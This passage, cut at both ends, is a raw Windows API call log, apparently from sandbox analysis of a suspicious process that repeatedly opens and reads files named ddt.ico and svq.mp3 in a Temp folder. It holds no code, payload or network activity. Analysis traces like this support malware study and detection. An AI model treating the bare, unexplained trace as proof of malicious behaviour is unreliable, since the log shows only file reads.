lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.931] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.931] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.931] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.931] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.931] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.931] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.932] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.932] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.932] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.932] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.932] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.932] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.932] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.932] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.933] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.933] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.933] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.933] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.933] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.933] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.933] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.933] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.933] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.933] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.933] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.934] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.934] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.934] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.934] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.934] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.934] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.934] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.934] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.934] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.934] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.935] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.935] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.935] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.935] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.936] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.936] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.936] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.936] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.936] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.936] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.936] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.936] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.936] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.936] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.936] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.937] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.937] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.937] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.937] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.937] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.937] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.937] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.937] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.937] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.937] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.938] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.938] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.938] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.938] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.938] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.938] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.938] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.938] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.938] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.939] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.939] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.939] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.939] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.939] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.939] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.939] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.939] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.939] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.939] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.939] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.940] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.940] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.940] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.940] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.940] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.940] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.940] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.940] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.941] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.941] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.941] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.941] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.941] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.941] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.941] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.941] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.941] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, 